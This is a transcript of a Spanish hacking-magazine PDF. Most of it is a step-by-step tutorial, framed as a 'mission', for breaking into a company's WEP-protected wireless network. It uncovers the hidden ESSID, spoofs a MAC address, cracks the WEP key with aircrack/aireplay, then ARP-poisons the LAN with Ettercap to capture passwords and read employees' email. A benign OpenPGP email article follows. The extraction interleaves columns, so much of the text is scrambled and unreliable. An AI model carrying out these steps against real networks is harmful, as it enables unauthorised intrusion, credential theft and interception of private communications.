Infiltración en una red wireless protegida
Upcoming SlideShare
Loading in...5
×
 

Like this? Share it with your network

Share

Infiltración en una red wireless protegida

on

  • 1,466 views

 

Statistics

Views

Total Views
1,466
Views on SlideShare
1,450
Embed Views
16

Actions

Likes
0
Downloads
15
Comments
0

2 Embeds 16

http://totalred.blogspot.com 14
http://totalred.blogspot.mx 2

Accessibility

Categories

Upload Details

Uploaded via as Adobe PDF

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment

Infiltración en una red wireless protegida Document Transcript

  • 1. Nº 29 -- P.V.P. 4,5 EUROS 000298 414090 202756
  • 2. http://totalred.blogspot.comLos mejores tutoriales consejos trucos en redes de datos y seguridad informáticalos tiene TOTALRED las descargas son GRATIS si TODO ES GRATIS Con la proliferación de las ofertas wireless, el número de redes de éste tipo va en aumento día a día. Aunque poco a poco la gente va tomando conciencia de lo importante que es proteger una red de éste tipo ( ¿verdad? ), veremos como hasta la más agresiva configuración de seguridad (encriptación WEP de 128 bits, filtrado por dirección MAC, ESSID oculto y DHCP deshabilitado) no supondrá obstáculo para un atacante con unos mínimos conocimientos. ¿Te animas a acompañarme en este ataque? Sigue leyendo ;) Tenemos indicios que nos llevan a sospechar de ciertas actividades ilegales en la gestión de empleados de la compañía WADAL SL, pero carecemos de pruebas contundentes, su misión será obtener dichas pruebas mediante el filtrado del tráfico de su red, pero no le será fácil. El único medio de acceso a ésta red es por medio de un AP (punto de acceso inalámbrico) (802.11.bg) que da cobertura en las inmediaciones del edificio de esta compañía y proporciona acceso a toda la red de la empresa. Le detallo la información que nuestros técnicos han logrado obtener: • El BSSID de la red es 00:12:34:56:78:90 • Encriptación WEP de 128 bits • Filtrado por dirección MAC. • ESSID oculto. Dispone de un vehículo camuflado, un portátil con sistema operativo GNU/Linux y tarjeta inalámbrica con chipset Prism2. Mucha suerte en su misión sistema de protección se basa en ocultar dicho nombre al exterior de modo que sólo los clientes que lo conozcan Antes de nada daré una breve explicación de los distintos podrán conectarse. sistemas de seguridad a los que nos enfrentamos y algunos conceptos previos. Filtrado por MAC: La MAC (Media Access Control) es la dirección física de una tarjeta de red, identifica de forma BSSID: Es la dirección MAC del AP. única cada tarjeta de red de modo que nunca se fabricarán dos tarjetas con una misma MAC. El filtrado por MAC se ESSID oculto: Para poder conectarnos a un punto de basa en permitir o excluir determinadas MACs impidiendo acceso necesitamos conocer su ESSID o nombre, este o posibilitando la conexión. 3
  • 3. http://totalred.blogspot.comDHCP deshabilitado: El DHCP capturar y visualizar los paquetes. Sus(Dynamic Host Configuration Protocol) comandos/opciones son los siguientes:es un protocolo que permite al cliente (Imagen 0 )recibir por parte del servidor DHCP losparámetros de configuración para Si Kismet no puede poner tu tarjetaacceder a la red. Entre esos parámetros automáticamente en modo monitorse encuentran la IP , puerta de enlace, puedes hacerlo con las wireless-tools:etc.. root@spirit:/#iwpriv <interfaz> monitor 1 1Con DHCP deshabilitado, un atacanteque logre conectar con nuestro AP tendrá ó bien:que adivinar y configurar a mano dichosparámetros para poder formar parte de root@spirit:/#iwconfig <interfaz> mode monitorla red. Nos desplazaremos por las inme-Encriptación WEP: (Wired Equivalency Imagen 0 diaciones del edificio hasta que KismetPrivacy ) es un sistema de cifrado nos detecte paquetes provenientes deincluido en el protocolo 802.11 que de esta forma podremos capturar la red de BSSID 00:12:34:56:78:90 ypermite encriptar la información paquetes sin necesidad de estar de ESSID desconocido(Imagen 1).transmitida mediante el algoritmo RC4, asociados a una red.utilizando claves de 64, 128 o 256 bits. En este caso he detectado 2 redes con En la misión voy a utilizar Kismet ( ESSID oculto, para ver el BSSID de la¿Por que chipset Prism2? Por su facilidad http:// www.kismetwireless.net/ ), un red pulsamos s y escogemos el tipo depara el modo master, con modo master sniffer para redes wireless que nos ordenación de los nodos, en mi casopodremos convertir nuestra tarjeta permitirá localizar el AP, además de escojo b; una vez el nodo ha sidoinalámbrica en un punto de acceso. Enel transcurso de la misión necesitaremos Imagen 1emular un AP para llevar a cabo ciertosataques y facilitar el trabajo.Para los que le suene a chino el términowardriving, consiste básicamente ensalir a la caza de redes inalámbricasprovistos de un portátil/PDA con tarjetainalámbrica y usando el softwareapropiado de detección. Según el mediode transporte que se utilice surgentérminos como: Imagen 2 WarWalking: Andando. WarFlying: En avión. WarSkating: En patines. (¿os lo imagináis? :-D) WarDriving: En coche... etcVamos a hacer wardriving para localizarla red de BSSID correspondiente a ladada en el documento de la misión.Una vez cerca del edificio WADAL SL,ponemos nuestra tarjeta en modomonitor y usamos un sniffer adecuadopara redes 802.11. Es imprescindible elmodo monitor o RFMON para la misión, 4
  • 4. http://totalred.blogspot.commarcado con otro color pulsamos latecla i , que nos mostrará informaciónacerca de esta red (Imagen 2).Nos fijamos en el BSSID y comprobamosque es el correcto; hemos localizado lared.Durante el proceso de conexión entreun cliente y un punto de acceso ocurrenlos siguientes pasos: El cliente emite una trama PROVE Imagen 3 REQUEST que contiene el ESSID al que desea conectarse. El AP responde si el ESSID coincide con el suyo. El cliente y el AP intercambian tramas de autentificación y asociación.Capturando estos paquetes podremosver el ESSID.Tenemos dos opciones, o bien esperara que algún cliente se conecte paracapturar las tramas o realizar un ataquepara forzar a clientes conectados la rea- Imagen 4sociación con el AP. http://www.wlsec.net/void11/ el nombre del ESSID. (Imagen 3) essid_jack , utilidad del proyectoUna forma de realizar este último ataque Air-jack http://sourceforge. Las redes con ESSID oculto a las quees hacernos pasar por el AP (clonando net/projects/airjack/ Kismet haya logrado capturar su ESSIDsu MAC) y emitir tramas DIASSOC a la se mostrarán con un tono azulado.dirección de broadcast (FF:FF:FF: Pa r a l a m i s i ó n va m o s a u t i l i z a rFF:FF:FF) o a algún cliente específico essid_jack, su uso es el siguiente:de modo que logremos engañar al cliente (listado 1)y ésta vuelva a asociarse para así podercapturar las tramas. Primer paso logrado, ya tenemos el Antes de nada veamos el formato de un nombre del ESSID, “W4d41B3RT0-007”. paquete de datos capturado con KismetPor suerte, existen herramientas que Si nos fijamos en la ventana de Kismet y analizado con ethereal (http://www.automatizan este proceso: podremos ver cómo ha capturados las ethereal.com/) (Imagen 4) deauth , utilidad del proyecto void11. tramas de reasociación mostrándonos Podemos ver que en el protocolo IEEListado 1 802.11 se incluyen los campos: root@spirit:/home/CrashCool/he2# ./essid_jack Essid Jack: Proof of concept so people will stop calling an ssid a password. Destination address: A quien va des- tinado el paquete. Usage: ./essid_jack -b <bssid> [ -d <destination mac> ] [ -c <channel number> ] [ -i <interface name> ] -b: bssid, the mac address of the access point (e.g. 00:de:ad:be:ef:00) -d: destination mac address, defaults to broadcast address. Source address: De donde proviene el -c: channel number (1-14) that the access point is on, defaults to current. paquete. -i: the name of the AirJack interface to use (defaults to aj0). Vamos a analizar los datos que hemos root@spirit:/home/CrashCool/he2# ./essid_jack -b 00:12:34:56:78:90 -c 5 capturado, para ello localizamos los Got it, the essid is (escape characters are c style): “W4d41B3RT0-007“ archivos de log que ha generado Kismet, 5
  • 5. http://totalred.blogspot.comnormalmente se encuentran en Una vez abierto ordenamos los paquetes root@spirit:/# ifconfig wlan0 hw ether/var/log/kismet, allí encontraremos logs por el campo Info, localizamos los del 00:c5:c5:f3:f3:00con este forma tipo Data y seleccionamos uno cualquiera.(Imagen 6) Kismet-[mes]-[día]-[año]-[sesión].[formato] Si con las wireless-tools no puedes /var/log/kismet/Kismet-May-17-2005-1.csv Este paquete proviene del gateway de cambiarla puedes probar con el /var/log/kismet/Kismet-May-17-2005-1.dump la red (00:12:34:56:78:91) y va dirigido programa macchanger. /var/log/kismet/Kismet-May-17-2005-1.network a un cliente válido (00:c5:c5:f3:f3:00), /var/log/kismet/Kismet-May-17-2005-1.xml por lo cual ya tenemos un MAC válida.E n t r e l o s f o r m a t o s g e n e ra d o s s eencuentran .csv , .dump , .network, Kismet captura MACs válidas WEP (Wired Equivalent Privacy), nace.xml . El formato .dump es la captura automáticamente, para ver las con el fin de proporcionar a las redesen bruto o raw dump de todos los capturadas seleccionamos el nodo en wireless una seguridad equivalente apaquetes, es un formato totalmente concreto (para ello primero tenemos una red cableada. Utiliza el algoritmocompatible con ethereal o tcpdump. que ordenarlos pulsando la tecla s y RC4 y usa claves de 64, 128 y 256 bits escogiendo uno de los modos que se que a efectos prácticos son de 40, 104Abrimos con ethereal el .dump corres- nos presentan) y luego pulsamos la tecla , 232 bits respectivamente, los 24 bitspondiente a la sesión y visualizamos los c. restantes son usados para el vector depaquetes de datos:(Imagen 5) inicialización ó IV. CrashCool@spirit:/$ ethereal /var/log/kismet/ A continuación clonaremos nuestra MAC Kismet-May-17-2005-1.dump por la del cliente válido, saltándonos de El vector de inicialización es pseudo ese modo el filtrado por MAC: aleatorio en cada paquete y su fin es combinarlo con la clave fija de modoImagen 5 que el cifrado sea diferente y a un atacante le sea mas difícil deducir la clave. Por lo tanto el emisor como el receptor deben conocer la clave fija y el vector d e i n i c i a l i z a c i ó n ( I V ) p a ra p o d e r cifrar/descifrar los paquetes. La clave fija es conocida de antemano por el AP y los clientes, y el vector de inicialización (IV) viaja en cada paquete. La vulnerabilidad viene en el vector de inicialización, antes he dicho que es un valor pseudo aleatorio, pero el estándar 802.11 especifica que la variación del IV es opcional y deja un campo abierto a la implementación por parte de los fabricantes de modo que no siempre son aleatorios y se repiten, esto sumado a los pocos bits para variar el IV (2 24 = 167 millones aproximadamente) haceImagen 6 que los IVs se agoten en unos cuantas horas o minutos, según la cantidad de tráfico. Existen multitud de técnicas y algoritmos para romper WEP con mayor/menor eficiencia y que requieren mas/menos cantidad de paquetes y IVs distintos. Uno de los más atractivos es el ataque estadístico de Korek en el que está basado el programa que utilizaremos: Aircrack. (http://www.cr0.net:8040/ code/network/) 6
  • 6. http://totalred.blogspot.com deberemos deducir los parámetros de CrashCool@spirit:/$ aircrack -c dmac : set Destination MAC address -h smac : set Source MAC address configuración por los paquetes -o fc0 : set frame control[0] (hex) capturados. Al disponer de la clave WEP aircrack 2.1 - (C) 2004 Christophe Devine -p fc1 : set frame control[1] (hex) podremos descifrar los paquetes y visua- -k : turn chopchop attack on lizarlos, para ello puedes utilizar el usage: aircrack [options] <pcap file> <pcap file> ... programa decrypt incluido en Airsnort Por tanto el comando que usaremos (http://airsnort.shmoo.com), su uso es -d <start> : debug - specify beginning of the key podría ser: el siguiente: -f <fudge> : bruteforce fudge factor (default: 2) -m <maddr> : MAC address to filter usable packets root@spirit:/# aireplay –i wlan0 CrashCool@spirit:~$ decrypt -n <nbits> : WEP key length: 64 / 128 / 256 / 512 –b 00:12:23:56:78:90 –d ff:ff:ff:ff:ff:ff missing required argument Usage: decrypt (-p <pw> | -f <dictfile>) [-b] [- -p <nfork> : SMP support: # of processes to start Esto capturaría tráfico proveniente del o <offset>] -m <bssid> -e <cryptfile> -d Llegó la parte mas tediosa, capturar AP y con destino a la dirección de <decryptfile> entre 200.000 y 500.000 IVs diferentes broadcast, tras esto nos preguntará si -p: single password to try para facilitar el trabajo a aircrack, para deseamos reenviarlo, a lo que contes- ello deberemos esnifar suficiente tráfico, taremos sí ( y ). -f: dictionary, 1 password per line pero ¿que pasa si la red se usa muy -b: skip beacons poco o no hay tráfico suficiente? Se También podemos usar un archivo .pcap -o: offset to frame control (default zero) utilizan técnicas para generar tráfico. capturado con anterioridad y reenviarlo. -m: bssid to crack Entre las utilidades que te permiten -e: input pcap file hacer esto se encuentran: Para capturar el tráfico puedes usar -d: output pcap file Airodump, utilidad incluida en Aircrack Aireplay 2.2, utilidad incluida en que te irá mostrando el número de IVs Para descifrar el nuestro usaremos el Aircrack (http://www.cr0.net:8040/ capturadas o Kismet. Yo voy a hacerlo comando: code/network/) y que captura paquetes con Kismet; para ello lo ejecutamos y válidos generados por un cliente de la seleccionamos el nodo en cuestión CrashCool@spirit:~$ decrypt -p red para luego hacerse pasar por él y (pulsando s y escogiendo algún tipo 6e:23:c8:69:d3:7f:37:d6:58:42:cf:02:13 -m enviarlos de nuevo a la red, de modo de ordenación), una vez seleccionado 00:12:34:56:78:90 -b -e /var/log/kismet/Kismet- que al retransmitirse generan más tráfico fijamos el canal del nodo de modo que May-17-2005-2.dump -d descifrado WEP.pcap que nos dará mas IV’s. Kismet sólo escuche el tráfico de ese Su uso es el siguiente: canal para así capturar mas A continuación abrimos rápidamente, esto se consigue pulsando descifradoWEP.pcap con ethereal: root@spirit:/home/CrashCool/hxc/aireplay-2.2# ./aireplay L sobre el nodo seleccionado. aireplay 2.2 - (C) 2004,2005 Christophe Devine CrashCool@spirit:~$ ethereal Una vez recolectado el suficiente tráfico descrifradoWEP.pcap usage: aireplay [options] <interface #0> [interface #1] procedemos a ejecutar aircrack pasándole los siguientes parámetros: Para obtener los datos con mayor rapidez interface #0 is for sending packets; it is also used to capture packets unless interface #1 is specified. localizamos paquetes provenientes de CrashCool@spirit:/$ aircrack –n 128 –f 1 <ruta archivo .dump> tráfico ARP, aquí un paquete capturado: source options: (Imagen 7) En el caso de que tras un cierto tiempo -i : capture packet on-the-fly (default) nos muestre un mensaje del tipo “No El gateway de la red es 192.168.0.1, la -r file : extract packet from this pcap file luck sorry” , aumentaremos el fudge IP del cliente es 192.168.0.11 y la filter options: factor , éste parámetro puede tomar los dirección de broadcast es valores 1 , 2 y 3 e interviene en el 255.255.255.255 por lo cual ya tenemos -b bssid : MAC address, Access Point -d dmac : MAC address, Destination análisis estadístico, a más valor, más el rango de ip’s de la red. -s smac : MAC address, Source posibilidades tenemos de que encuentre -m len : minimum packet length, default: 40 la clave, pero a su vez tardará mas. Los datos que necesitamos son: -n len : maximum packet length, default: 512 -u type : fc, type - default: 2 = data -v subt : fc, subtype - default: 0 = normal En este caso tras unas horas obtengo IP: 192.168.0.150 (elijo una al azar -t tods : fc, To DS bit - default: any la clave: 6e:23:c8:69:d3:7f:37:d6:58 dentro del rango) -f fromds : fc, From DS bit - default: any :42:cf:02:13 Gateway: 192.168.0.1 -w iswep : fc, WEP bit - default: 1 -y : assume yes & dont save packet replay options: -x nbpps : number of packets per second Al no disponer de DHCP habilitado Ya tenemos todos los datos que -a bssid : set Access Point MAC address 7
  • 7. http://totalred.blogspot.com Imagen 12Imagen 7 En el menú “Sniff ” seleccionamosnecesitamos para conectarnos a la red sniffer Ettercap para capturar el tráfico “Unified sniffing...” y escogemos la;), procedamos: de la red, pero antes de eso vamos a interfaz de red con la que estamos estudiar a que tipo de red nos conectados (Imagen 8).root@spirit:/# iwconfig wlan0 essid W4d41B3RT0-007 enfrentamos.1. Establecemos el nombre del ESSID Tras esto veremos la pantalla principal:root@spirit:/# iwconfig wlan0 key open 6e23c869d37f37d65842cf0213 (Imagen 9)2. Configuramos la clave WEProot@spirit:/# ifconfig wlan0 192.168.0.150 A continuación construiremos una lista3. Nos ponemos la ip 192.168.0.150root@spirit:/# route add default gw 192.168.0.1 de los hosts activos, es decir de los4. Añadimos el gateway. clientes que están conectados a la red, para ello en el menú “Hosts” seleccio-En teoría ya estamos dentro, veamos namos “Scan for hosts” (Imagen 10).que nos dice Ettercap. Imagen 10 Y esperamos unos segundos a que detecte los clientes:(Imagen 11) Arrancamos ettercap en su modo gráfico (GTK) Una vez terminado podremos ver la listaUna vez dentro de la red, usaremos el de host desde el menú “Hosts” -> “HostImagen 8 root@spirit:/home/CrashCool/he2# ettercap -G list”. Ahora estudiaremos el tipo de red en la Imagen 11 que estamos, si es conmutada (conecta a los clientes a través de un switch) o no conmutada (mediante un hub).Imagen 9 Pero.. ¿para qué necesitamos saberlo?. En la redes no conmutadas se usan hubs para interconectar las máquinas; un hub viene a ser como un repetidor que además regenera la señal, es decir lo que se pone en una interfaz (entrada RJ-45) del hub sale por todas las demás. En una red de este tipo los datos van a parar a todas las máquinas conectadas de modo que un atacante lo va a tener sencillo, le basta con poner su tarjeta en modo promiscuo para ver todo el tráfico con un simple sniffer (Imagen 12). 8
  • 8. http://totalred.blogspot.comImagen 13 Imagen 15 Imagen 16Imagen 14 status el resultado: “You are plugged into a SWITCH” (Imagen 15).En las redes conmutadas los datos sólo Aparentemente no puedo utilizar unvan a parar a la máquina destinataria sniffer para ver el tráfico de todos losdel paquete; para ello los switchs clientes, pero recordando la “switchgeneran tablas dinámicas (switch table) table”, ésta miraba la MAC de destinoque asocian cada una de sus interfaces del paquete y lo reenviaba por la interfazcon la MAC (o MACs) del cliente correspondiente, pero ¿y si desde unconectado a ella. Al recibir un paquete principio falseamos la MAC de destino?.el switch mira la MAC a la que va dirigido Si me encuentro en una LAN con los Imagen 17y consulta su tabla buscando por que clientes A, B y C y A envía un paqueteinterfaz debe reenviar el paquete; si por a C, en el paquete va especificada laalguna casualidad en su tabla no está MAC de C ¿cómo sabe A la MAC de C?,dicha MAC reenvía el paquete por todas consultando su tabla ARP.sus interfaces (así se asegura de quellegue). Ésta tabla se va actualizando ARP (address resolution protocol),cada cierto tiempo de modo que si un traduce o asocia una dirección IP concliente conecta una máquina al switch una dirección física (MAC), es utilizado por un atacante asociando su MAC a unpor la interfaz 5, el switch añadirá a su por todos los nodos de la red que posean IP que no es suya conseguirá engañar allista la MAC del cliente asociándola a la capa de enlace de datos, así pues, switch para que le entregue un paquetedicha interfaz. Así pues cuando el switch cada cliente de la red mantendrá su que en teoría no le pertenece; esta técnicareciba paquetes destinados a dicha MAC propia tabla ARP gestionada por su es comúnmente conocida como ARPsabrá que sólo debe reenviarlos por la sistema operativo. poisoning .interfaz 5 (Imagen 13) Ettercap nos lo va a poner fácil ya que Si quieres visualizar tu tabla ARP, puedesUn atacante que corra un simple sniffer es capaz de lanzar y mantener este tipo hacerlo a través del comando: arp -aponiendo su tarjeta en modo promiscuo de ataque y esnifar el tráfico a la vez :P.solo visualizará su tráfico. Esta tabla es dinámica y posee además un tiempo de vida, cada nodo está Para ello seleccionamos en el menúPara detectar si nos encontramos ante pendiente de los frames que le llegan “Mitm” -> “Arp poisoning..” y marcamosun tipo u otro de red usaremos el plugin por parte de los demás nodos para la casilla “Sniff remote conections.”link type de Ettercap; para ello desde mantener esa tabla lo más actualizada (Imagen 16)el menú “Plugins” seleccionamos “Manage posible.Plugins”: (Imagen 14) Una vez hecho esto comenzamos la A la hora de emitir un paquete, la tabla sesión de esnifado, desde el menú “Start”Y hacemos doble click sobre el plugin ARP es consultada para rellenar el campo seleccionamos “Start sniffing” (Imagen“link type” observando en la ventana de MAC destino, si esa tabla es modificada 17) 9
  • 9. http://totalred.blogspot.com debilidades del actual WEP y entre sus principales mejoras destacan la continua rotación de la clave para cifrar los paquetes (TKIP). El usuario proporciona una clave fija en ASCII que sirve como semilla para generar la clave aleatoria con la que se cifrarán los paquetes, pasados un cierto número de paquetes se vuelve a generar otra clave a partir de esa semilla. Para implementarlo es necesario que todos los dispositivos (AP y clientes) de la red soporten este sistema. Si tu AP no dispone de este sistema es posible que en la web del fabricante encuentres alguna actualización de firmware que lo permita. La seguridad en este tipo de cifrado es proporcional a la longitud de la claveImagen 18 semilla, ya que existen herramientas¿Que nos asegura que el envene- empresa sin informar a los accionistas, capaces de crackearla mediante fuerzanamiento de ARP se está llevando al pudiendo así sacar beneficio y quedar bruta.éxito? Podemos utilizar el plugin impune por el despido de los empleados Con la llegada de su segunda generación“chk_poison” que nos dirá si hay por parte de la empresa que las ha WPA2 el usuario y empresa podránenvenenamiento o no: comprado. disfrutar de una mayor seguridad. Activating chk_poison plugin... chk_poison: Checking poisoning status... chk_poison: Poisoning process succesful! Como has podido ver saltarse una red Este mes como es lógico no podemos wireless de este tipo es sólo cuestión de proporcionarte un escenario para laPerfecto, para visualizar el tráfico de la tiempo, lo que deja casi la totalidad de práctica, pero te animo a practicar elred abrimos la pestaña “Connections” las redes wireless actuales al descubierto. artículo en tu red wireless y quedesde el menú “View” y observaremos Sin duda la seguridad de hoy en día compartas con nuestro foro tuuna lista de todas las conexiones activas depende de la combinación de todos los experiencia/dudas. Así mismo para losen ese momento. sistemas de protección actuales con otros que desde un principio han pensando ¿y sistemas como: que pasa con los que usamos Windows?Haciendo doble click sobre cualquiera de Portales cautivos: son sistemas de también los animo a instalar GNU/Linux;ellas veremos los datos en formato autentificación de usuarios wireless. en nuestro foro encontraras bastanteASCII: (ver Imagen 18) Durante el proceso de conexión con el información al respecto y gente dispuesta AP, éste le asigna una IP y el gateway a ayudarte en cualquier problema queAdemás de esto Ettercap lleva del portal cautivo, de modo que no te surja con la instalación y configuración.incorporado un colector automático de podremos salir de ahí hasta que no noscontraseñas (FTP, POP, TELNET, SSH, autentifiquemos, normalmente desde el Por suerte y por comodidad tambiénMYSQL, IRC, VNC ... ). Si durante algún propio navegador web bajo una conexión dispones de una live-cd específica paramomento de la sesión de esnifado algún segura HTTP-SSL, una vez autentificamos seguridad que incorpora todas estascliente accediera a su correo o a un el gateway nos dará paso a la LAN o a herramientas y muchas más y queservidor ftp, Ettercap nos mostraría en Internet. configurará automáticamente tu tarjeta,la ventana de status los datos de acceso estoy hablando de Auditor, distribución(login y pass). Estos portales permiten configurar un basada en Kanotix y que podrás política de usuarios de modo que descargar de http://new.remote-Continuando con la misión debo obtener podamos autorizar a según que servicios, exploit.org/index.php/Auditor_main .pruebas válidas de las actividades limitar ancho de banda, etc. Una imple- Sin más me despido esperando hayáisilegales que se sospecha hay en esta mentación libre de este sistema es NoCat disfrutado con la lectura y con los posiblesempresa. Tras intervenir varios correos http://nocat.net/ ratos de wardriving en los quecon Ettercap tengo pruebas que apuntan desemboque este artículo ;).a que la empresa WADAL ha estado nego- WPA (Wi-Fi Protected Access):ciando la venta de sus acciones a otra también llamado WEP2, corrige las CrashCool (Alex F.) 10
  • 10. http://totalred.blogspot.com Bienvenidos una vez más al Taller de Criptografía. En los dos primeros artículos hemos aprendido los fundamentos del sistema OpenPGP, los fundamentos matemáticos tras la criptografía de clave pública, así como el manejo de sus principales implementaciones. Ahora es el momento de empezar a darle un uso útil a todos esos conocimientos... ;-) Antes de empezar, me gustaría decir algo. Cuando empecé esta serie de artículos, decidí que sería un "taller" y no un "curso" porque la mayor parte de trabajo recaería en práctica, dejando la teoría como herramienta para comprender la primera. Dado que el tema a tratar era la criptografía, no me calenté mucho la cabeza y elegí el nombre más obvio para el taller: "Taller de Criptografía". Ya habiendo terminado el segundo artículo caí en la cuenta de una cosa: sin darme cuenta había "copiado" un nombre que ya existía y que significa mucho para todos los aficionados a la criptografía: El "Taller de Criptografía" de Arturo Quirantes Sierra (profesor de Física de la Universidad de Granada... pero como él mismo dice en su web, podemos respirar tranquilos porque no es contagioso :-P): http://www.ugr.es/~aquiran/cripto/cripto.htm. Todo aficionado a la criptografía que sepa leer castellano y no esté suscrito al boletín ENIGMA (http://www.ugr.es/~aquiran/cripto/enigma.htm) de Arturo Quirantes, es poco menos que un hereje. Yo particularmente soy asiduo lector desde hace mucho tiempo, y os lo recomiendo totalmente. Aunque no tengo el placer de conocer a Arturo Quirantes en persona, sí que cruzamos unos correos cuando caí en la cuenta de lo desafortunado de la elección del título del taller, y fue más compren­ sivo aún de lo que yo esperaba. Sólo me expresó su deseo de que la gente no confundiera este taller que tienes en tus manos con el suyo. Pues que quede esta nota como aclaración, al César lo que es del César. Mando un saludo para Arturo desde mi humilde rincón. :-) sino que lo es para casi cualquier protocolo de la red, incluyendo HTTP. Si sois aficionados a leer textos sobre seguridad informática, seguramente más de una vez hayáis leído aquello de que Sin embargo, realizamos muchas operaciones delicadas el correo electrónico es como una postal y que cualquiera a través de web y nos han dicho que son seguras... aquello puede leerlo por el camino. Y es cierto. De hecho, no del candadito y demás. Bien, ese "candadito" y el que el solamente es cierto para correo electrónico (asumo que habitual HTTP de la barra de direcciones cambie por un hablamos de protocolos estándar como SMTP, POP o IMAP, HTTPS nos indica que estamos trabajando con SSL (Secure no de webmails y demás engendros de la naturaleza :-P) Socket Layer), que es un sistema de cifrado basado en 11
  • 11. http://totalred.blogspot.comPKI (Public Key Infrastructure)... que, Adicionalmente, nunca está de más que GNU/Linux como Microsoft Windows eefectivamente, es muy seguro. SSL no uséis, en la medida de lo posible, SSL incluso Mac OS X. Yo particularmentees el tema de este artículo... ese tema en detrimento de las conexiones en en esta parte usaré un sistema Debianllegará más adelante, de momento nos claro. GNU/Linux 3.1 (SID) con Mozillabasta con saber que existe y que sirve Thunderbird 1.0.2-2, enigmail 0.91-3 ypara convertir un protocolo estándar en En un principio vamos a centrarnos en GnuPG 1.4.0-2, que son las versionesun protocolo cifrado. un MUA concreto para familiarizarnos que a día de redactar este artículo hay con el uso de OpenPGP en correo en los repositorios SID de Debian.¿Existe algo similar para el correo electrónico, pero más adelante veremos Supongo que ya habréis notado queelectrónico? Desde luego. SMTP (puerto otros MUAs alternativos que pueden siempre que puedo, oriento las prácticas25) se convierte en SMTPS (puerto 465), ser usados de forma muy similar, y al software libre (y si puede serPOP3 (puerto 110) se convierte en POPS finalmente veremos que podemos multiplataforma, mejor que mejor).(puerto 995), e IMAP (puerto 143) se trabajar con cualquier MUA que nos Además de los motivos técnicos (deconvierte en IMAPS (puerto 993). Lo apetezca e incluso con interfaces menor importancia en este caso, y demalo es que el uso de SSL en correo webmail (no, no lo voy a volver a decir... los cuales no es el momento de hablar),electrónico está muy poco extendido. bueno venga, la última ¿eh?... están los motivos prácticos: no todo elCasi ningún servidor de correo gratuito ¡engendrooo! xD). mundo tiene el dinero necesario paraofrece correo POPS/SMTPS, aunque hay comprar las caras (carísimas) licenciasexcepciones como Gmail, que aparte de de software necesarias para determi-su webmail (¿webmail? ¡arg, engendro! nados programas,o bien la catadura:-D) ofrece la posibilidad de usar sus moral para andar pirateando a troche ycuentas en un MUA (Mail User Agent) y Como ya he dicho, vamos a empezar moche dicho software. Siempre me halos protocolos usados son por un MUA muy concreto. El software dado mucha rabia cuando leo algúnexclusivamente POPS y SMTP (bajo TLS). elegido es: artículo en el que el autor presuponeEntre los ISP, que yo sepa, casi ninguno que todos disponemos del último acojo- Mozilla Thunderbird (http://ofrece siquiera la posibilidad de usar editor o acojo-compilador de turno. La www.mozilla.org/products/thundSSL en el correo, y entre los proveedores vida de estudiante no da para tanto... erbird/). El motivo para elegir esteprivados de alojamiento tampoco son y hablando de Universidad, otra cosa software y no otro es que se tratamuchos los que ofrecen la posibilidad que me repatea es que los profesores de software libre, esde usarlo (afortunadamente el mío sí lo de una Ingeniería (Informática, para multiplataforma, y mediante unhace, yo recibo y envío mi correo a más inri) pidan la documentación en plugin (del que en unos instantestravés de SSL). "formato Word". Lo siento, tenía que hablaremos) implementa desahogarme... :-P compatibilidad con GnuPG (que¿Porqué si tanto nos preocupa usar SSL t a m b i é n e s s o f t wa r e l i b r e yen HTTP para conexiones delicadas, es Bien, vamos al tema. Lo primero que multiplataforma). La última versiónpor el contrario tan poca la preocupación debemos hacer, obviamente, es instalar disponible es la 1.0.2.en el correo electrónico? Pues todo el software necesario. Respecto asinceramente, no lo sé, pero es un la instalación de GnuPG no hay nada enigmail (http://enigmail.mohecho. Además, al tratarse SSL de una que decir, pues en el anterior artículo zdev.org/). Se trata de un pluginconexión entre el cliente y el servidor, se trató en detalle. Solamente p a ra M o z i l l a S u i t e y M o z i l l aesta comunicación irá cifrada, sí, pero mencionaré que los usuarios de Linux Thunderbird que implementadesde ese servidor al servidor de correo podéis descargar o bien las fuentes y compatibilidad con inline-PGP (RFCde destino y posteriormente al compilarlas (como fue explicado) o bien #2440) y PGP/MIME (RFC #3156)destinatario, es mucho más que probable algún paquete precompilado, mientras mediante GnuPG. La última versiónque alguna de esas conexiones no se que los usuarios de Windows deberéis disponible es la 0.91.0.establezca mediante SSL. bajar el binario precompilado (bueno, GnuPG (http://www.gnupg.org/). las fuentes también pueden serAsí pues, la mayoría de los usuarios Espero que después del anterior compiladas, pero os garantizo más deestán condenados a mandar sus correos artículo no tenga que decirle a un dolor de cabeza). Los enlaces paraprivados (con asuntos tan sensibles nadie qué es GnuPG (:-P). La descarga son:como trabajo, datos bancarios, claves última versión disponible es lade acceso...) como postales a través 1.4.1 (sí, hay una nueva versión Para sistemas Unix-like (fuentes):de la red a la que estén conectados, y desde el artículo anterior). ftp://ftp.gnupg.org/gcrypt/gnupg/gnuque cualquier fisgón de tres al cuarto pg-1.4.1.tar.bz2lea lo que no debe... ¡Pues no! Dado que todo el software mencionado es multiplataforma, no hay Para sistemas Windows: ftp://Vamos a aplicar todo lo aprendido sobre absolutamente ningún problema en ftp.gnupg.org/gcrypt/binary/gnupg-OpenPGP al correo electrónico. seguir esta práctica tanto desde sistemas w32cli-1.4.1.exe 12
  • 12. http://totalred.blogspot.com Para sistemas Mac OS X: http:// sencillos, por lo que me limitaré a Account Name: Indicamos el prdownloads.sourceforge.net/macgpg/ mencionarlos por encima. Si tenéis algún nombre deseado para la cuenta. GnuPG1.4.1.dmg?download problema, consultad en google o pre- Lo siguiente es bajar e instalar Mozilla guntad en el foro. Congratulations!: En este punto Thunderbird (también es perfectamente New Account Setup: Selec- posible usar el gestor de correo de la cionamos cuenta de correo (Email hemos finalizado la configuración suite Mozilla). El software posee un account). y podemos revisar los datos instalador muy sencillo (del tipo introducidos para revisarlos y "siguiente, siguiente, siguiente...") así Identity: Introducimos el nombre volver hacia atrás si fuera que no creo que haya problema alguno con el que deseamos figurar en la necesario modificar algo. con ello. He seleccionado la versión cuenta, así como la dirección de 1.0.2 en inglés porque a día de hoy la correo. También es imprescindible configurar el última versión en castellano es la 1.0, servidor de correo saliente (en caso de pero podría servir exactamente igual. Server Information: Selec- usar IMAP este paso no es necesario), Los que no se lleven muy bien con la cionamos el tipo de servidor para lo cual iremos al menú Edit > lengua de Shakespeare, ya saben qué entrante (POP o IMAP) e indicamos Account Settings e introduciremos los 